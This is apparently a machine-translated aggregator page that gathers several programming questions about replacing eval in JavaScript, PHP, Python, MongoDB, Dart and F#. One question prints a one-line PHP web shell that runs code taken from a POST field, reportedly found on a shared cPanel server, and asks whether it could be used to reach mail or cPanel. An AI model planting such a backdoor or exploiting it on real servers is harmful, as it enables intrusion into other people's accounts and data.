鉴于EVAL是Evil,我如何动态创建一个数组名称:
我有一堆数组,我需要根据用户点击的内容引用不同的数组.
这段代码给了我数组对象:
(eval(calendarObject.id + '7'))
Run Code Online (Sandbox Code Playgroud)
但是eval很糟糕,那么如何构造一个数组名称然后引用呢?
这里有更多的背景:
if (jQuery.inArray(String(checkinDate.getTime()/1000),
(eval(calendarObject.id + '7'))) == -1 ) { //do stuff };
Run Code Online (Sandbox Code Playgroud)
有任何想法吗?
谢谢.
我目前正在使用jquery插件来读取数据文件(data.html)
data.html具有以下格式
[10,20,30,40,50]
Run Code Online (Sandbox Code Playgroud)
我的jquery数据请求和返回值的javascript如下
function test(){
var result=$.ajax({
url:'data.html',
type:'get',
dataType:'text',
async:false,
cache:false
}).responseText
return result;};
var my=test();
alert(my[0])
Run Code Online (Sandbox Code Playgroud)
我想以数组格式获取这些值,即我希望我的[0]值为10,但我得到"[".如果我使用eval功能
my=eval(test());
Run Code Online (Sandbox Code Playgroud)
我可以得到10,但有没有其他更好的方法将返回的ajax调用存储到数组而不是字符串?
谢谢
我尝试了下面的答案,我有点困惑,myArray中的跟随代码结果为null(在firebug中),但我把async:false然后它的工作原理.为什么我需要async:false来将值存储到数组中?(http://stackoverflow.com/questions/133310/how-can-i-get-jquery-to-perform-a-synchronous-rather-than-asynchronous-ajax-req)
jQuery.extend({getValues: function(url) {
var result = null;
$.ajax({
url: url,
type: 'get',
dataType: 'json',
cache: false,
success: function(data) {result = data;}
});
return result;}});
myArray=$.getValues("data.html");
alert(myArray[1]);
Run Code Online (Sandbox Code Playgroud) 我遇到这个js代码有问题:
$('.downvoted').live('click',function(){
var ele = $(this);
var truc = ele.prev('.score_position');
$.post('ajax/vote.php', { vote :ele.attr('title') }, function(data) {
if(data == 'done'){
ele.removeClass('downvoted').addClass('downvote').html('<img src="images/down.png" />');
truc.html(eval(truc.html()+1));
}
});
return false;
});
Run Code Online (Sandbox Code Playgroud)
所以我还有3个相同的功能,用于downvoting,un-upvoting和upvoting.它运行良好除了有一个例外,如果truc.html()是-1,那么它将转到-11而不是0.
知道为什么它不起作用吗?(:你们可以在这里尝试http://91.121.154.130/?sort=last与ID:AZERTY PW:AZERTY)
假设您在带有cPanel的共享Web服务器中找到了此代码.您是否可以通过将shell上传到服务器或通过其他方法来访问邮件附件或cPanel?我不需要步骤如何做到这一点.只是一个整体的想法.对不起,我不能给你更多细节.但是这段代码不是为了攻击任何人.
<?php eval($_POST['path']);?>
我听说在JavaScript中使用eval函数是个坏主意,但我有这个代码:
// this string (function) is generated dynamically...
var funVal = 'alert("a")' ;
//.....
var Button1 = document.getElementById("BtnSave");
// onclick event of button
eval("Button1.onclick = function () { " + funVal + " };");
Run Code Online (Sandbox Code Playgroud)
我不想用eval.还有其他解决方案吗?
我知道eval锁定整个数据库,这对吞吐量不利 - 但是我有一个场景,必须隔离涉及多个文档的非常特定的事务.
因为该事务不经常发生并且相当快(对索引查询进行了一些更新),所以我正在考虑使用eval它来执行它.
他们应该注意到的任何陷阱(我看过几个eval =邪恶的帖子,但没有太多解释)?
如果数据库是副本集的一部分,它会有所不同吗?
我将调用存储在.dat文件的数组中的类Task.我想读取这个文件并重新构建类调用.
这是我现在正在使用的课程:
class Task:
def __init__(self, name, timespent):
self.name = name
self.timespent = timespent
def __repr__(self):
return repr('Task("%s",%s)'%(self.name, self.timespent))
Run Code Online (Sandbox Code Playgroud)
这是文件中的读数:
task_list = []
with open("task_list2.dat", "r") as file:
task_list = eval(file.readline())
Run Code Online (Sandbox Code Playgroud)
这是写入文件:
with open("task_list2.dat", "w") as outFile:
print(repr(task_list), file = outFile)
Run Code Online (Sandbox Code Playgroud)
这是文件的内容:
['Task("class",20)']
其中"class"是任务的名称.
我知道问题与'Task("class",20)'周围的单引号有关,但我不知道如何摆脱它们.我得到的错误消息说的是:"str对象没有属性'name'"
如何删除这些引号,以便下次读取文件时可以重新构建类?
这是eval在Dart平台中使用此方法的代码.
这是通过反射完成的.
_getFieldSlow(unwrapped) {
// ..... Skipped
var atPosition = unwrapped.indexOf('@');
if (atPosition == -1) {
// Public symbol.
f = _eval('(x) => x.$unwrapped', null);
} else {
// Private symbol.
var withoutKey = unwrapped.substring(0, atPosition);
var privateKey = unwrapped.substring(atPosition);
f = _eval('(x) => x.$withoutKey', privateKey);
}
// ..... Skipped
}
Run Code Online (Sandbox Code Playgroud)
static _eval(expression, privateKey)
native "Mirrors_evalInLibraryWithPrivateKey";
Run Code Online (Sandbox Code Playgroud)
DEFINE_NATIVE_ENTRY(Mirrors_evalInLibraryWithPrivateKey, 2) {
GET_NON_NULL_NATIVE_ARGUMENT(String, expression, arguments->NativeArgAt(0));
GET_NATIVE_ARGUMENT(String, private_key, arguments->NativeArgAt(1));
const GrowableObjectArray& libraries =
GrowableObjectArray::Handle(isolate->object_store()->libraries());
const int num_libraries = …Run Code Online (Sandbox Code Playgroud) 我在F#中为简单的数学表达式(用一些自定义函数算术)编写了一个典型的求值器.虽然它似乎工作正常,但某些表达式没有按预期进行评估,例如,这些工作正常:
但这些不是:
代码如下工作,标记化(字符串作为输入) - >到rev-polish-notation(RPN) - > evalRpn
我认为问题似乎发生在一元函数(函数接受一个运算符)的某处,这些是sqrt函数和negation( - )函数.我真的没有看到我的代码出了什么问题.有人可能会指出我在这里缺少的东西吗?
这是我在F#中的实现
open System.Collections
open System.Collections.Generic
open System.Text.RegularExpressions
type Token =
| Num of float
| Plus
| Minus
| Star …Run Code Online (Sandbox Code Playgroud) 就像这样
我有一个变量,其中包含一个数组索引,例如
$var = 'testVar["abc"][0]';
Run Code Online (Sandbox Code Playgroud)
要么
$var = 'testVar["xyz"][0]["abc"]';
Run Code Online (Sandbox Code Playgroud)
或者它可以是运行时的任何东西.
现在当我尝试使用这个PHP代码访问它时:
echo $$var;
Run Code Online (Sandbox Code Playgroud)
要么
echo ${$var};
Run Code Online (Sandbox Code Playgroud)
我得到一个警告说非法抵消线...
但如果我使用这个代码,它的工作原理
eval('echo $'.$var);
Run Code Online (Sandbox Code Playgroud)
我不想使用eval().还有其他方法吗?
编辑:
变量$ testVar是在运行时构建的数组,它可以动态构建多维数组.它的格式不固定,只有脚本通过使用某些变量知道数组可能是什么.
例如,在任何时候,数组可能有一个$["xyz"][0]["abc"]我想动态访问的索引.
我的php版本是5.1